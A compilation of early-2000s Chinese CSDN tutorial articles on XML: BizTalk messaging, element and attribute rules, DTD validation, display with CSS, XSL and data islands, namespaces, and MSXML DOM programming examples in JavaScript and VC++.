消息是BizTalk框架具备卓越贡献的基础. 两个或多个应用程序间的消息流是在商务处理层次通过定义松散连接和基于请求的通信处理而集成应用的一种方式.由于许多商务处理涉及一方应另一方的请求而提供服务, 从消息到请求的映射是自然的事.产生更紧密集成命令，如那些基于特殊编程语言或共享分布计算机“平台”的指令的途径适合单机上紧凑连接的程序间或在可控环境中，但它没有充分支持分布的、松散结合的、可扩展的商务处理集成. 由于允许灵活多样的实现，一具有开放、可扩展格式的基于XML消息系统抓住了商务通信的本质.

微软期望采用BizTalk框架实现的绝大部分互换(在商贸合作伙伴或应用间的XML文档或消息的交换)将使用简单的HTTP传输协议，但也可以采用其它的传输，如FTP和消息排队技术（包括IBM的MQSeries和Microsoft Message Queue Server）.

由于当前只有少数应用软件提供对XML的天然支持,微软希望商家和软件企业分层实现适配接口，能使它们现有应用参与第一代的BizTalk框架交换.对于许多的应用,这些适配接口对现有的函数进行调用,转译为XML的文档,然后路由至目标终点,可能是一商贸伙伴或在企业Intranet中的另一应用.

除非应用程序具有了对XML的自然支持，否则BizTalk框架交换的这些类型将需要层次化的软件将自然数据类型转换为XML再对XML文档进行路由.BizTalk框架也将提供对大纲的支持，使其能描述涉及多文档的更复杂的交换.用户终端企业已经在内部实现了这些XML文档类型的转换器和路由器.微软正在开发BizTalk服务器(BizTalk Server),它能自动调用在BizTalk框架互换(interchange)中必需的函数.今天，象webMethods和 DataChannel等公司已经有了潜在支持BizTalk框架互换的软件产品.重要之处在于：BizTalk框架互换(interchange)不需要来自任何个别的软件供应商的任何特定软件.


csdn_亲密接触XML(6）－元素的内容

  亲密接触XML(6）－元素的内容
作者： 青苹果工作室
     元素有着不同的内容类型。 一个XML元素就是从（包含）元素的起始标记到（包含）元素的结束标记之间的全部内容。
一个元素可以有元素内容、混合内容、简单内容和空内容。一个元素还可以有属性。 在上面的例子中， book有元素内容，因为它包含了其它元素。Chapter 有混合内容，因为它包含了文本和其它元素。 Para有简单内容(或文本内容)，因为它只包含文本。 Prod有空内容，因为它没有携带任何信息。 在上面的例子中只有prod 元素有属性。 属性id 的值为 "33-657"。属性media 的值为 "paper"。

     元素的命名

     XML元素必须遵循下面的命名规则:

名字中可以包含字母、数字以及其它字母
名字不能以数字或"_" (下划线) 开头
名字不能以字母 xml (或 XML 或 Xml ..) 开头
名字中不能包含空格
     要注意当你“发明”一个元素名时，要遵守以下简单的规则:

     任何名字都可以使用，没有什么字是保留的，但是一定要让名字具有描述性。带有一个下划线分隔符的名字就很好。

     比如说: < first_name>, < last_name>。

     要避免在名字中使用 "-" 和 "." 。如果你的软件想用first减去name(first-name)，或将 "name" 作为对象 "first" 的属性(first.name)时就会出现混淆。

     你愿意让元素名多长都可以，但是不要太夸张。名字应该简短，比如 < book_title>，而最好不要这样：
< the_title_of_the_book>。

     XML 文档通常都有一个相应的数据库，其中的域与 XML文档中的元素相对应。最好是将XML文档中元素的命名规则也应用于数据库的命名中。

     非英文字母如éòá 在XML 元素名中也是合法的，但是要看看你的软件供应商是不是支持它们。

     在元素名中不能使用 ":" ，因为它是为一种成为“名字空间”（namespaces）的东西预留的。在后面将对此进行介绍。

     XML属性

     同HTML一样，XML元素可以在其起始标记中有属性。属性是用来提供有关元素的附加信息的。

     XML 属性

     XML元素可以有属性。 在HTML只能感，你可能记得: < IMG SRC="computer.gif">。SRC 属性提供了有关IMG元素的一些附加信息。 在HTML (和XML)中，属性提供关于元素的附加信息:

     < img src="computer.gif">
     < a href="demo.asp">

     属性所提供的信息通常不是数据的一部分。在下面的例子中，文件类型与数据无关，但是它对于想要操作元素的软件来说很重要:

     < file type="gif">computer.gif< /file>

     引用形式, "female" 还是 'female'?

     属性值必须总是包含在引号中，但是单引号和双引号都能用。对于一个人的性别来说，人的标记可以这样写：

     < person sex="female">

     或这样写:

     < person sex='female'>

     双引号是最常用的，但是有时(如果属性值本身包含引号的话)，必须要使用单引号，就象下面这个例子:

     < gangster name='George "Shotgun" Ziegler'>


csdn_亲密接触XML(7）－ 元素 vs. 属性的使用

  亲密接触XML(7）－ 元素 vs. 属性的使用
作者： 青苹果工作室
可以将数据存储在子元素中或属性中。看看下面这些例子：

     < person sex="female">
     < firstname>Anna< /firstname>
     < lastname>Smith< /lastname>
     < /person>

     < person>
     < sex>female< /sex>
     < firstname>Anna< /firstname>
     < lastname>Smith< /lastname>
     < /person>

     在第一个例子中，性别sex 是一个属性。在第二个中， sex 是一个子元素。两个例子提供了相同的信息。关于何时使用属性、何时使用子元素，没有特别的规定。我的经验是在HTML中使用属性较方便，但是在XML中要尽量避免使用属性。如果信息象数据，就使用子元素。

     我喜欢的方式

     我喜欢将数据存储在子元素中。下面的3个XML文档所包含的信息完全相同:

     第一个例子中使用了一个date属性:

     < note date="12/11/99">
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     第二个例子中使用了一个date 元素:

     < note>
     < date>12/11/99< /date>
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     在第三个中使用了一个扩充的date元素（这是我最喜欢的方法）:

     < note>
     < date>
     < day>12< /day>
     < month>11< /month>
     < year>99< /year>
     < /date>
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     要避免使用属性吗？

     你是否应该避免使用属性呢？ 以下是使用属性带来的几个问题:

属性不能包含多个值 (而子元素可以)
属性不容易被扩充(为将来的修改)
属性不能描述结构(而子元素可以)
属性更难被程序代码所操作
属性值不容易进行DTD测试
     如果你将属性作为一个数据的容器使用，那么最终的结果是，文档将难以阅读和维护。你应该尽量用元素去描述数据。只在提供与数据无关的信息时才使用属性。

     不要这样结尾( 如果你认为这样就是 XML, 那么你还没有真正理解要点):

     < note day="12" month="11" year="99"
     to="Tove" from="Jani" heading="Reminder"
     body="Don't forget me this weekend!">
     < /note>


csdn_亲密接触XML(7）－我的属性规则的一个例外

  亲密接触XML(7）－我的属性规则的一个例外
作者： 青苹果工作室
     规则总是有例外的。 我的关于属性的规则有一个例外: 有时我为元素分配了ID 引用值。这些 ID引用值可以用来访问 XML元素，其方法与HTML中的NAME 或 ID 属性基本上完全一样。下面这个例子就说明这一点:

     < messages>
     < note ID="501">
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     < note ID="502">
     < to>Jani< /to>
     < from>Tove< /from>
     < heading>Re: Reminder< /heading>
     < body>I will not!< /body>
     < /note>
     < /messages>

     这些例子中的ID 仅仅是一个计数器，或是一个唯一的识别号，用来识别XML文件中不同的注释，并不是注释数据的一部分。 这里我试图说明的是，元数据 (关于数据的数据) 应该作为属性来存储，而数据本身应该作为元素来存储。

     XML 确认

     语法正确的XML是格式良好的 XML。用一个DTD确认的XML叫做有效XML。

     “格式良好的” XML 文档

     一个“格式良好的” XML 文档有着正确的XML语法。

     < ?xml version="1.0"?>
     < note>
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     “有效的” XML 文档

     一个“有效的” XML 文档同时还要符合 DTD。 一个“有效的” XML 文档是一个“格式良好的” XML 文档，同时它还要符合文档类型定义（DTD） 的规则。

     < ?xml version="1.0"?>
     < !DOCTYPE note SYSTEM "InternalNote.dtd">
     < note>
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     XML DTD

     一个 DTD 定义了一个XML 文档中的合法元素。 DTD 的目的是定义一个XML文档的合法结构区。它用一个合法元素的列表来定义文档的结构。你可以在W3Schools' DTD School中阅读更多的关于DTD以及如何确认你的XML文档的内容。

     XML 计划

     XSchema 是一个基于XML 的 DTD的替代品。 W3C 支持一种称为XML Schema的DTD替代品。关于XML Schema 的更多内容可以在 W3Schools' Schema School 中找到。

     错误会使你停下来

     XML 文档中的错误会停止 XML 程序。 W3C XML 规范规定，当一个程序中发现了确认错误时，它不能再继续处理一个 XML文档。 原因是XML软件应该易于编写，而所有的XML 文档都应该相互兼容。

     用HTML，你有可能创建有许多错误的文档 (比如说你有时会忘记一个结束标记）。HTML浏览器都很大并且不相兼容的一个主要原因是，当它们遇到一个HTML错误时，它们都有各自不同的方法来描绘出文档看起来应该是个什么样子。而用 XML 这是不可能的。


csdn_亲密接触xml(9XML在Netscape和Explorer中

  亲密接触xml(9)XML在Netscape和Explorer中
作者： 青苹果工作室
在这个Web站点中，我们集中讨论Internet Explorer 5.0 对XML的支持, 因为Netscape 对XML的支持比较差。也许这种情况会改变。

     XML在这个Web站点上

     许多应用程序都支持XML。我们集中讨论Internet Explorer 5.0。 你们中的有些人会对此抱怨，但是我们这样做只是因为这是我们所知道的唯一的可行途径，我们这样来说明在 Internet上的真实的XML的例子。我们很遗憾地说--在我们等待Netscape的同时--我们的软件例子中的大部分都是在 IE5上工作的。如果你愿意轻松地学习 XML-- 这里有许多例子让你尝试--你就必须忍受这一点。

     XML 在Netscape Navigator上

     Netscape已经承诺在它的下一个浏览器中将全面支持XML。 我们希望Netscape 将在它的下一个版本的浏览器中包含 W3C XML 的标准支持。 基于以前的经验，我们只能希望将来Navigator和 Explorer XML 能够兼容。 你此刻的选择是 - 如果你想使用交叉浏览器 XML的话 - 就是在你的服务器上使用XML，并在它被发送给浏览器之前，将XML转化成XML。 有关将XML转化成HTML的内容可以参考 W3Schools' XSL School。

     XML 在 Internet Explorer 5.0中

     Internet Explorer 5.0 支持 XML 1.0 标准。Internet Explorer 5.0 支持XML 1.0 的大部分国际标准以及XML DOM (文档对象模型)。这些标准是由广域网协会(W3C)设立的。 Internet Explorer 5.0 具有以下的XML支持：

查看XML 文档
W3C DTD 标准的全面支持
将XML 作为数据岛嵌入 HTML中
将XML 数据捆绑到 HTML元素中
用XSL转换和显示XML
用CSS显示 XML
访问 XML DOM
     Internet Explorer 5.0 还有对行为的支持:

Behaviors 是一种只有Microsoft才有的技术。
Behaviors 可以从一个HTML页面中将脚本分离出来。
Behaviors 可以在客户硬盘上存储XML 数据。
     所有这些功能的例子在下一章中讲述。你可以在W3Schools' Browser Information中阅读有关Internet Explorer的内容，并下载其最新版本。

     用IE 5.0查看XML文件

     原始的XML 文件可以在Internet Explorer 5.0 中查看，但是要象显示一个web 页面一样显示它，就必须增加一些显示信息。 要查看举例的XML文件，你必须有Internet Explorer 5.0 或更高版本。

     用Internet Explorer 5.0查看XML

     你可以用IE 5.0 来查看任何XML 文档。要查看一个XML文档，你可以点击一个链接，在地址栏键入URL，或在文件夹中双击一个XML文件名。如果你在IE中打开一个 XML文档，它将用颜色显示文档编码的根和子元素。可以点击元素左边的

     一个加号(+) 或减号(-)来展开或收缩元素的结构。 如果你想查看原始的XML源文件，你必须从浏览器菜单中选择 "View Source" （查看源）。注意: 不要指望 XML 文件象一个HTML 文档那样格式化！如果你点击note.xml, IE 将在一个象Explorer一样的视图中打开这个文件。

     查看一个无效的 XML 文件

     如果用IE打开一个错误的XML文件，IE就会报告这个错误。如果你点击note_error.xml, IE就会显示一个错误信息。


csdn_亲密接触xml(10）－其它例子

  亲密接触xml(10）－其它例子
作者： 青苹果工作室
查看一些XML文档会帮助你对XML有一些感觉。 我们为你收集了以下一些XML数据文件的例子：

     一个XML的 CD 目录: 这是我父亲收集的CD，将其作为XML数据存储（我想这都是些陈旧而乏味的标题）。

     一个 XML的植物目录: 这是一个植物商店的植物目录，作为XML数据存储。

     一个简单的食物菜单: 这是一个餐厅的早餐食谱，作为 XML 数据存储。

     为什么XML显示是这样的？

     XML 文档没有携带关于如何显示数据的信息。由于XML标记是由XML文档的作者“制造”或“发明”的，因此我们不知道一个标记例如< table> 究竟是描述一个HTML类型的表单，还是描述一个木制的餐桌。没有关于如何显示数据的信息，大多数浏览器就按照XML文档的样子显示。

     在下一章，我们将看看对于显示问题的一些不同的解决办法，包括使用CSS、XSL、JavaScript和XML数据岛。

     用 CSS显示XML

你可以用CSS 向一个XML文档中增加显示信息。

     用CSS显示你未来的XML文件？

     你会用CSS 去格式化未来的XML 文件吗? 不，我想不会。但是我们还是可以试一试:

     看看这个纯XML 文件: CD 目录, 然后看看这个格式表: CSS 文件, 最后查看: 用CSS文件进行格式化的 CD 目录 。

     这里是XML文件的一个片段，其中增加了一个 CSS 格式表引用:

     < ?xml version="1.0"?>

     < ?xml-stylesheet type="text/css" href="cd_catalog.css"?>

     < CATALOG>

     < CD>

     < TITLE>Empire Burlesque< /TITLE>

     < ARTIST>Bob Dylan< /ARTIST>

     < COUNTRY>USA< /COUNTRY>

     < COMPANY>Columbia< /COMPANY>

     < PRICE>10.90< /PRICE>

     < YEAR>1985< /YEAR>

     < /CD>

     < CD>

     < TITLE>Hide your heart< /TITLE>

     < ARTIST>Bonnie Tyler< /ARTIST>

     < COUNTRY>UK< /COUNTRY>

     < COMPANY>CBS Records< /COMPANY>

     < PRICE>9.90< /PRICE>

     < YEAR>1988< /YEAR>

     < /CD>

     .

     .

     .

     .

     < /CATALOG>

     我们不认为用CSS格式化XML是未来 Web的趋势。即使这样使用CSS看起来是没有错的，但是我们还是认为用XSL格式化XML将是新的标准（一旦主要的浏览器支持它）。

     你会用XML创建未来的主页吗？

     你会用XML编写未来的主页吗？ 不，我想你不会。但是我们可以试一试：用XML编写一个主页。 我们不认为将来会用XML 创建主页。 但是我们认为，XHTML - 象XML一样定义的HTML，会完成这项工作：请访问W3Schools' XHTML School。


csdn_XML编程实例(一)

  XML编程实例(一)
作者： optman
前段时间，由于工作的需要，利用到了XML，所以对其进行了一些简单的研究。在此愿把一些心得写出来，与各位分享，不对的地方还望多多包涵。

1.什么是 XML?
首先，我想各位应该都已经大概知道什么是XML了。如果，你对什么是XML还没有一个概念的话，你可以看一些相关的材料，我就不多说了。

2.为什么要用XML?
其实，刚开始我也不是很明白，后来在工作中才慢慢意识到。首先，我写的程序需要传送很多的数据结构，比如表格，目录树等等。要在以往，我想自己会去定义一个数据结构。这是相当麻烦的一件事情，而且当这个结构需要不断更新，有很大的灵活性时，那就更让人头疼了，更别说通用性和跨平台了。这时候，XML对树形结构数据的强大表达能力就显示出来了。比如一个表格数据。

<TABLE>

<TR>

<TD> 11</TD>

<TD>12</TD>

</TR>

<TR>

<TD> 21</TD>

<TD>22</TD>

</TR>

</TABLE>

11
12

21
22

以上的描述，很简单明了，通用性和跨平台是很显见的。当然，代价也是有的，那就是用于表达信息的数据变大了。这就要求你在性能和可扩展性之间进行权衡了。

再次，XML 现在已经开始流行起来了，其前身（说类似更合适）HTML就是一个明证，更不用说微软的.NET计划就是架构在XML上面的。

最后，因为XML的流行，已经有了越来越多的开发工具(SDK)，比如XML Parser就有很多种。利用这些工具，我们就可以更快的进行开发，从而减少不必要的麻烦----比如自己定义一套规范，还要开发相关的操作工具等等，麻烦，而且不易与外界进行交流。

3．使用什么开发工具
这里，我们面向的是程序员，犹指VC++的程序员。我们的选择很多，不过选择Microsoft 的XML Parser SDK应该是不错的，至少文档很详尽（在这一点上，微软做得一直不错）。当然还有很多别的选择，比如Apache.org上的eXcel。更详细的信息，请看www.ibm.com/xml。

基本概念

XML的编程模式
前面我们说过，XML对树的表达能力是很强大的，我们完全可以把一个XML文档用一个树来表达，对于文档的操作就是对树的操作，这就是DOM（文档对象模型）。然而，DOM对XML文档的处理有许多的毛病，比如速度慢等，于是有了另一种模型SAX.
下面，我们分别详细的对这两种模型进行说明。

DOM模型
DOM模型需要对整个XML文档进行扫描，然后解析生成一个对象树，XML文档中的所有标签和属性都是用对象来表示，而不是一个孤立的文本。因为是对象，所以有一个上下文，有一个包含关系。

基本是这样的
Doc
Element
Note
Text

Doc是指整个树对象，包括了基本的属性。
Element是指的一个标签，可以包含属性(Attribute)和子节点（ChilNode）的节点对象。
Note也是一个标签，不过不能包含子节点和属性。
Text就是简单的文本。

既然是树操作，就要包含节点的添、删和浏览等基本的功能。利用这些功能，就可以完全对XML文档进行操作了。对象级的操作，比起直接对文本操作要容易得多，也要直观得多。

SAX模型
我们说了，DOM模型的缺点就是速度慢，和浪费内存。因为在许多的情况下，我们并不需要对整个的XML文档进行扫描。而仅仅需要其中的某些信息，这时候就没有必有生成一个庞大的树结构了，特别是当文件很大的时候。
SAX模型，就是对XML文档边扫描，边处理。类似于许多的程序设计思想，SAX是事件驱动的。这个意思是说，它可以在处理的过程中生成不同的消息，并调用相应的函数进行处理。并可以在中途退出，这一点非常重要。比如网页在下载的过程中，就可以一边下载，一边把已下部分进行解析显示。

根据不同的情况，我们采用不同的方法进行处理。

应该说明的是，XML的这些模型都是标准化组织定义的，而不是某个公司的规范。所以，程序的移植应该比较的方便。

XML编程举例

由于Microft XML Parser的文档比较的全面，而且和Visual C++的结合比较紧密，我们这里就以这样的组合来进行举例，对于别的语言，可以举一反三。

对Microsoft XML Parser的一点说明：

所有的对象都是COM对象。为此，我们使用SmartPointer来减少AddRef,ReleaseRef的麻烦。同样，因为使用的字符串统一是BSTR类型的，内存的释放也是一个比较麻烦的事情，所以用_bstr_t 类来对BSTR数据类型进行封装，可以减少不必要的麻烦。

..…待续 ……


csdn_XML编程实例(二)

  XML编程实例(二)
作者： optman
DOM模型：
前面已经说了，对于DOM模型来说，整个XML文件被解析成一个树形的结构。所有的标签、属性等都被当作对象来看待。所以，必须了解清楚对象的含义，及其相互关系，方能正确操作。
为了先有一个感性认识，让我们开始吧。（为了方便说明，代码里基本上没有异常处理）

生成一个XML文本

假设我们要创建一个如下的XML文本
<China>
<Beijing> -11 </Beijing>
<Shanghai weather=”Cloudy”> 9 </Shanghai>
</China>

我们首先应该先创建一个Document对象，如下：MSXML::IXMLDOMDocumentPtr pDoc;
pDoc.CreateInstance(__uuidof(MSXML::DOMDocument));

如果创建成功，那么我们就会得到一个XMLDOMDocument对象实例。
下一步就是添加 根节点DocumentElement，记住XML只有一个根。

创建Element对象 作为根节点
MSXML::IXMLDOMElementPtr pDocElement=pDoc->createElement("China");

把根节点插入到目录树中
pDoc->appendChild(pDocElement);

好了，生成一个树根了，我们现在来看一看结果：
用pDoc -> xml 可以取得整个DOM对象的文本
因为树根下没有任何东西，所以只显示<China/>

现在，我们要在树根下插入子节点，并设置节点文本(Text)
MSXML::IXMLDOMElementPtr pNewChildElement;
pNewChildElement=pDoc->createElement("Beijing");
pNewChildElement->Puttext("-11");
pDocElement->appendChild(pNewChildElement);

这时候整个的 XML文本应该为
<China>
<Beijing> -11 </Beijing>
</China>

再增加一个子节点，并设置节点属性(Attribute)pNewChildElement=pDoc->createElement("Shanghai");
pNewChildElement->Puttext("9");
pNewChildElement->setAttribute("Weather",_variant_t("Cloudy")); pDocElement->appendChild(pNewChildElement);

于是，我们就可以得到预期的XML文本了。
其他的操作：

删除操作：
从父节点来删除子节点pDocElement->removeChild(pNewChildElement)
存盘操作：
pDoc->Save();

装载已有XML文本

如果我们已经有了一个XML文件，想对其进行解析，那么可以使用Document 对象的Load或LoadXML来进行加载，并在加载的同时进行语法分析。

如果加载成功，那么就会在内存中生成一个树形结构。利用DOM模型，我们就可以进行各种操作。最常见的是，我们需要寻找特定的信息，并进行处理。

查找定位
使用SelectSingleNode (XPath),SelectNodes(XPath)来定位标签，取得对应的Node(s)对象。
XPath
XPath是类似于文件路径名的字符串，也像SQL的查询语句,可以限定查找范围。
找到指定对象，我们就可各种处理了，添加、删除、取值等等。

小结：上面仅仅是对DOM模型的编程进行了简单的介绍，以期快速入门。要详细了解，还必须查阅SDK的文档。如果可能，将在以后介绍SAX 模型、XSLT对 XML的转换等。

相关链接：要使用MSXML Parser ，你必须先下载其SDK和运行库。
http://download.microsoft.com/download/xml/Install/3.0/WIN98Me/EN-US/msxml3.exe
http://download.microsoft.com/download/xml/SDK/3.0/WIN98Me/EN-US/xmlsdk.exe

//-------------下面是代码实例-----------

#include "stdafx.h"
#include "iostream.h"
#include "msxml.h"
#include "atlbase.h"
#import "msxml.dll" //引入类型库

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

int Exit();
void LoadFromString();
void CreateXML();

//XML文本模板
_bstr_t XMLTemple="<China><Beijing> -11 </Beijing><Shanghai Weather=\"Cloudy\"> 9 </Shanghai></China>";

int main()
{
cout << " XML编程--示范程序 " << endl;

CoInitialize(NULL); //初始化COM 环境

cout << "------生成新的XML文本 ------" << endl;

CreateXML();

cout << "------读取已有XML文本 ------" << endl;

LoadFromString();
return Exit();

}
void CreateXML()
{
MSXML::IXMLDOMDocumentPtr pDoc;
HRESULT hr =pDoc.CreateInstance(__uuidof(MSXML::DOMDocument));
if(!SUCCEEDED(hr))
{

cout << "无法创建DOMDocument对象，请检查是否安装了MS XML Parser 运行库!" << endl;
Exit();

}

MSXML::IXMLDOMElementPtr pDocElement=pDoc->createElement("China");

pDoc->appendChild(pDocElement);

cout << "生成树根：\n" << pDoc->xml << endl;

MSXML::IXMLDOMElementPtr pNewChildElement;

pNewChildElement=pDoc->createElement("Beijing");

pNewChildElement->Puttext("-11");

pDocElement->appendChild(pNewChildElement);

cout << "添加节点：\n" << pDoc->xml << endl;

pNewChildElement=pDoc->createElement("Shanghai");

pNewChildElement->Puttext("9");

pNewChildElement->setAttribute("Weather",_variant_t("Cloudy"));

pDocElement->appendChild(pNewChildElement);

cout << "再添加节点：\n" << pDoc->xml << endl;

pDocElement->removeChild (pNewChildElement);

cout << "把刚加入的节点删除：\n" << pDoc->xml << endl;

}

void LoadFromString()
{

MSXML::IXMLDOMDocumentPtr pDoc;

HRESULT hr =pDoc.CreateInstance(__uuidof(MSXML::DOMDocument));

if(!SUCCEEDED(hr))

{
cout << "无法创建DOMDocument对象，请检查是否安装了MS XML Parser 运行库!" << endl;
Exit();

}

pDoc->loadXML(XMLTemple);

cout << "读取结果：\n" << pDoc->xml << endl;

MSXML::IXMLDOMElementPtr pDocElement=pDoc->GetdocumentElement();

MSXML::IXMLDOMElementPtr pElement=pDocElement->selectSingleNode("Shanghai");

pDocElement->removeChild(pElement);

cout << "定位删除Shanghai节点：\n" << pDoc->xml << endl;

cout << "保存结果 Save .....(模拟而已)" << endl;

cout << "\n 好了，就这么简单" << endl;
}

int Exit()
{
getchar();
return 1;
}


csdn_用XSL显示XML

  用XSL显示XML
作者： 青苹果工作室
你可以用XSL向XML文档中增加显示信息。

     用XSL显示XML

     XSL是XML首选的格式表语言。 XSL (可扩展的格式表语言) 比CSS要复杂得多。使用XSL 的一种方法是在它被浏览器显示之前，将XML转换成HTML，就象下面例子：

     点击这里可以查看原始 XML文件。

     点击这里查看用XSL格式表进行格式化的同一个文件。

     点击这里查看XSL 格式表。

     下面显示的是这个文件的缩写版本。注意在第二行的XSL引用：

     < ?xml version="1.0"?>
     < ?xml:stylesheet type="text/xsl" href="simple.xsl" ?>
     < breakfast-menu>
     < food>
     < name>Belgian Waffles< /name>
     < price>$5.95< /price>
     < description>
     two of our famous Belgian Waffles
     < /description>
     < calories>650< /calories>
     < /food>
     < /breakfast-menu>

     有关XSL的更多信息，可以访问W3Schools' XSL School。

     在数据岛中的XML

     用Iternet Explorer 5.0可以将 XML放在数据岛中嵌入 HTML页面内。

     将XML嵌入HTML

     用非正式的< xml>标记将XML数据嵌入HTML中。可以直接将XML数据嵌入一个HTML页面，象这样:

     < xml id="note">
     < note>
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>
     < /xml>

     或者嵌入一个单独的XML 文件：

     < xml id="note" src="note.xml">
     < /xml>

     注意< xml>标记是一个HTML元素，而不是XML元素。

     数据捆绑

     可以将数据岛捆绑到HTML元素中（如HTML表格）。在下面的例子中，一个ID 为"cdcat" 的XML数据岛从一个外部XML文件装载近来。用一个数据源属性将数据岛捆绑到一个HTML 表格，最后用在一个范围内的数据域属性将XML数据捆绑到表格数据元素。

     < html>
     < body>

     < xml id="cdcat" src="cd_catalog.xml">< /xml>

     < table border="1" datasrc="#cdcat">
     < tr>
     < td>< span datafld="artist">< /span>< /td>
     < td>< span datafld="title">< /span>< /td>
     < /tr>
     < /table>

     < /body>
     < /html>

     如果你正在运行IE 5,你就可以自己试一试。你还可以用IE 5.0查看外部XML文件。也可以使用这个例子，示范< thead>、 < tbody>和 < tfoot>。


csdn_使用XML分解器

  使用XML分解器
作者： 青苹果工作室
要对一个XML文档进行阅读、更新、创建及操作，你需要一个XML 分解器。

     使用XML分解器

     Microsoft XML 分解器是Microsoft Internet Explorer 5.0 中携带的。一旦你安装了IE 5.0，在HTML文档和ASP文件中的脚本都可以使用分解器。分解器的特点是一个中立于语言的编程模型，它支持：

avaScript、 VBScript、 Perl、 VB、 Java、 C++ 及更多

W3C XML 1.0 和 XML DOM

DTD 和确认
     如果你在 IE 5.0上使用JavaScript，就可以用以下代码创建一个XML文档对象：

     var xmlDoc = new ActiveXObject("Microsoft.XMLDOM")

     如果你使用的是VBScript，你可以用以下代码创建一个XML文档对象：

     set xmlDoc = CreateObject("Microsoft.XMLDOM")

     如果你在一个ASP中使用VBScript，你可以使用以下代码：

     set xmlDoc = Server.CreateObject("Microsoft.XMLDOM")

     将一个XML装载到分解器中

     可以用脚本代码将XML文件装载到分解器中。 以下代码将一个XML文档(note.xml)装载到XML 分解器中：

     < script language="JavaScript">
     var xmlDoc = new ActiveXObject("Microsoft.XMLDOM")
     xmlDoc.async="false"
     xmlDoc.load("note.xml")
     // ....... processing the document goes here
     < /script>

     这个脚本的第一行创建Microsoft XML 分解器的一个例示。第二行关闭不对称装载，在文档完全装载之前，要确保分解器不会继续执行。第三行告诉分解器装载一个叫做note.xml的XML文档。

     向分解器中装载纯XML文本

     还可以从文本字符串装载XML文本。 下面的代码将一个文本字符串装载到XML分解器中：

     < script language="JavaScript">

     var text="< note>"
     text=text+"< to>Tove< /to>< from>Jani< /from>"
     text=text+"< heading>Reminder< /heading>"
     text=text+"< body>Don't forget me this weekend!< /body>"
     text=text+"< /note>"

     var xmlDoc = new ActiveXObject("Microsoft.XMLDOM")
     xmlDoc.async="false"
     xmlDoc.loadXML(text)
     // ....... processing the document goes here
     < /script>

     注意 装载一个文本字符串使用的是"loadXML" 方法(而不是 "load" 方法) 。


csdn_用JavaScript显示XML

  用JavaScript显示XML
作者： 青苹果工作室
你可以用JavaScript显示XML。可以用JavaScript (或 VBScript)从一个XML文件中输入数据并在一个HTML页面内显示XML数据。 要看看XML和HTML是如何相互补充的，可以这样做：首先找到XML 文档(note.xml)，然后打开HTML文档
(note.htm)，这个HTML文档中包含了阅读XML文件的JavaScript，并在HTML页面预先定义的范围内显示信息。

     你可以自己试试看。 在DOM School中，你可以看到许多这类的JavaScript。

     现实中的XML

     一些真实的例子说明了如何用XML 携带信息。

     例子: XMLNews

     XMLNews 是一个交换新闻和其它信息的规范。使用这样的一个标准使新闻生产者和新闻消费者都更易于使用不同的硬件、软件和编程语言对各类新闻信息进行生产、接收及归档。 一个XML News 文档的例子：

     < ?xml version="1.0"?>

     < nitf>

     < head>
     < title>Colombia Earthquake< /title>
     < /head>

     < body>

     < body.head>
     < headline>
     < hl1>143 Dead in Colombia Earthquake< /hl1>
     < /headline>
     < byline>
     < bytag>By Jared Kotler, Associated Press Writer< /bytag>
     < /byline>
     < dateline>
     < location>Bogota, Colombia< /location>
     < story.date>Monday January 25 1999 7:28 ET< /story.date>
     < /dateline>
     < /body.head>

     < /body>

     < /nitf>


csdn_XML 名字空间

  XML 名字空间
作者： 青苹果工作室
XML名字空间提供了一种避免元素名冲突的方法。

     b>名字冲突

     由于XML中的元素名不是固定的，因此当两个不同的文档使用同样的名字描述两个不同类型的元素时就会发生名冲突。
下面这个XML文档在一个表格中携带了信息:

     < table>
     < tr>
     < td>Apples< /td>
     < td>Bananas< /td>
     < /tr>
     < /table>

     下面这个XML文档携带了关于一个表格的信息 (关于一件家具的信息):

     < table>
     < name>African Coffee Table< /name>
     < width>80< /width>
     < length>120< /length>
     < /table>

     如果这两个XML文档被加在一起，就会发生一个元素名冲突，因为这两个文档都包含了一个< table>元素，而这两个元素的内容和定义都不同。

     b>用一个前缀解决名冲突

     下面这个XML文档在一个表格中携带了信息：

     < h:table>
     < h:tr>
     < h:td>Apples< /h:td>
     < h:td>Bananas< /h:td>
     < /h:tr>
     < /h:table>

     而这个XML文档则携带了一件家具的信息：

     < f:table>
     < f:name>African Coffee Table< /f:name>
     < f:width>80< /f:width>
     < f:length>120< /f:length>
     < /f:table>

     现在就没有元素名冲突的问题了，因为两个文档分别给他们的< table>元素使用了不同的名字：(< h:table> 和 < f:table>)。 通过使用一个前缀，我们创建了两个不同类型的< table> 元素。

     b>使用名字空间

     下面这个XML文档在一个表格中携带了信息 ：

     < h:table xmlns:h="http://www.w3.org/TR/html4/">
     < h:tr>
     < h:td>Apples< /h:td>
     < h:td>Bananas< /h:td>
     < /h:tr>
     < /h:table>

     这个XML文档携带了一件家具的信息:

     < f:table xmlns:f="http://www.w3schools.com/furniture">
     < f:name>African Coffee Table< /f:name>
     < f:width>80< /f:width>
     < f:length>120< /f:length>
     < /f:table>

     在这里不是只使用前缀，在< table>标记上还增加了一个 xmlns属性，这样就给元素前缀一个与名字空间相联系的有资格的名字。

     b>名字空间属性

     名字空间属性放在一个元素的起始标记中，它的语法如下:

     xmlns:namespace-prefix="namespace"

     在上面的例子中，名字空间本身是用一个Internet 地址定义的：

     xmlns:f="http://www.w3schools.com/furniture">

